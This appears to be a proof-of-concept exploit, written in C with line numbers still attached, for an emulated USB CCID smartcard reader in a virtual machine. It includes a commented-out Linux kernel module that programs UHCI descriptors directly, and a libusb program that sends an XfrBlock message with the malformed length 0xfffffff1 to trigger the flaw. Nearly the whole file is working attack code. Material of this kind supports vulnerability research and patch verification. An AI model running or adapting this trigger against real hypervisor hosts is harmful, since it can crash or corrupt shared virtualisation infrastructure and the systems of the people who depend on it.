1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
|
/*
* kernel module poc by liqiang6-s@360.cn
*
#include <linux/module.h>
#include <linux/init.h>
#include <asm/io.h>
#include <linux/mm.h>
#include <linux/slab.h>
struct ccid_header
{
unsigned char bMessageType;
unsigned int dwLength;
unsigned char bSlot;
unsigned char bSeq;
}__attribute__((packed));
struct xferblcok
{
struct ccid_header hdr;
unsigned char bBWI;
unsigned short wLevelParameter;
unsigned char abData[0];
}__attribute__((packed));
struct UHCI_TD
{
unsigned int link;
unsigned int ctrl;
unsigned int token;
unsigned int buffer;
};
int init_module(void)
{
unsigned char *tdbuf = kmalloc(4096,GFP_KERNEL);
unsigned char *link = kmalloc(4096,GFP_KERNEL);
unsigned char *ccid = kmalloc(4096,GFP_KERNEL);
unsigned long long ptd = virt_to_phys(tdbuf);
unsigned long long plink = virt_to_phys(link);
unsigned long long pccid = virt_to_phys(ccid);
struct xferblcok *ccheader = (struct xferblcok*)ccid;
*(unsigned int*)link = ptd;
struct UHCI_TD *td = (struct UHCI_TD*)tdbuf;
memset(ccid,0,4096);
ccheader->hdr.bMessageType = 0x6f;
ccheader->hdr.dwLength = 0xfffffff1;
td->ctrl = 1 << 23;
td->token = 0xe1 | 30 << 21 | 2 << 15;
td->buffer = pccid;
outw(2,0xc040);
outw(0,0xc040+6);
outw(plink & 0xffff,0xc040+0x8);
outw((plink >> 16) & 0xffff,0xc040+0xa);
outw(4,0xc040+0x10);
outw(1,0xc040);
return 0;
}
void cleanup_module(void)
{
}
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include "usb.h"
#define CCID_MAX_PACKET_SIZE 64
/*
* BULK_OUT messages from PC to Reader
* Defined in CCID Rev 1.1 6.1 (page 26)
*/
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOn 0x62
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccPowerOff 0x63
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus 0x65
#define CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock 0x6f
#define CCID_MESSAGE_TYPE_PC_to_RDR_GetParameters 0x6c
#define CCID_MESSAGE_TYPE_PC_to_RDR_ResetParameters 0x6d
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetParameters 0x61
#define CCID_MESSAGE_TYPE_PC_to_RDR_Escape 0x6b
#define CCID_MESSAGE_TYPE_PC_to_RDR_IccClock 0x6e
#define CCID_MESSAGE_TYPE_PC_to_RDR_T0APDU 0x6a
#define CCID_MESSAGE_TYPE_PC_to_RDR_Secure 0x69
#define CCID_MESSAGE_TYPE_PC_to_RDR_Mechanical 0x71
#define CCID_MESSAGE_TYPE_PC_to_RDR_Abort 0x72
#define CCID_MESSAGE_TYPE_PC_to_RDR_SetDataRateAndClockFrequency 0x73
/*
* BULK_IN messages from Reader to PC
* Defined in CCID Rev 1.1 6.2 (page 48)
*/
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataBlock 0x80
#define CCID_MESSAGE_TYPE_RDR_to_PC_SlotStatus 0x81
#define CCID_MESSAGE_TYPE_RDR_to_PC_Parameters 0x82
#define CCID_MESSAGE_TYPE_RDR_to_PC_Escape 0x83
#define CCID_MESSAGE_TYPE_RDR_to_PC_DataRateAndClockFrequency 0x84
/*
* INTERRUPT_IN messages from Reader to PC
* Defined in CCID Rev 1.1 6.3 (page 56)
*/
#define CCID_MESSAGE_TYPE_RDR_to_PC_NotifySlotChange 0x50
#define CCID_MESSAGE_TYPE_RDR_to_PC_HardwareError 0x51
/*
* Endpoints for CCID - addresses are up to us to decide.
* To support slot insertion and removal we must have an interrupt in ep
* in addition we need a bulk in and bulk out ep
* 5.2, page 20
*/
#define CCID_INT_IN_EP (1 | 0x80)
#define CCID_BULK_IN_EP (2 | 0x80)
#define CCID_BULK_OUT_EP (3)
typedef struct __attribute__((packed)) CCID_Header {
uint8_t bMessageType;
uint32_t dwLength;
uint8_t bSlot;
uint8_t bSeq;
} CCID_Header;
typedef struct __attribute__((packed)) CCID_BULK_IN {
CCID_Header hdr;
uint8_t bStatus; /* Only used in BULK_IN */
uint8_t bError; /* Only used in BULK_IN */
} CCID_BULK_IN;
typedef struct __attribute__((packed)) CCID_SlotStatus {
CCID_BULK_IN b;
uint8_t bClockStatus;
} CCID_SlotStatus;
int main(int argc, char *argv[])
{
int len, xfered, rc;
uint8_t buf[CCID_MAX_PACKET_SIZE];
CCID_Header *hdr = (void*)&buf;
CCID_SlotStatus *slot = (void*)&buf;
find_device("smartcard reader", 0x08e6, 0x4433);
fprintf(stderr, "init ok\n");
sleep(1);
/* ------------------------------------------------------------ */
fprintf(stderr, "checking slot status ...\n");
memset(buf, 0, sizeof(buf));
hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_GetSlotStatus;
len = 10;
rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP, buf, len, &xfered, 1000);
if (rc != 0) {
fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
exit(1);
}
fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
memset(buf, 0, sizeof(buf));
len = sizeof(CCID_SlotStatus);
rc = libusb_bulk_transfer(hdev, CCID_BULK_IN_EP, buf, len, &xfered, 1000);
if (rc != 0) {
fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
exit(1);
}
fprintf(stderr, "slot-status out %d/%d\n", xfered, len);
fprintf(stderr, "status: 0x%x, error: 0x%x\n",
slot->b.bStatus, slot->b.bError);
if (slot->b.bStatus != 0x00 || slot->b.bError != 0x00) {
fprintf(stderr, "bad slot status (no card?)\n");
exit(1);
}
fprintf(stderr, "... ok\n");
/* ------------------------------------------------------------ */
fprintf(stderr, "sending invalid request\n");
memset(buf, 0, sizeof(buf));
hdr->bMessageType = CCID_MESSAGE_TYPE_PC_to_RDR_XfrBlock;
hdr->dwLength = 0xfffffff1;
rc = libusb_bulk_transfer(hdev, CCID_BULK_OUT_EP,
buf, 42, &xfered, 1000);
if (rc != 0) {
fprintf(stderr, "libusb_bulk_transfer failed (%d)\n", rc);
exit(1);
}
fprintf(stderr, "done\n");
exit(0);
}
|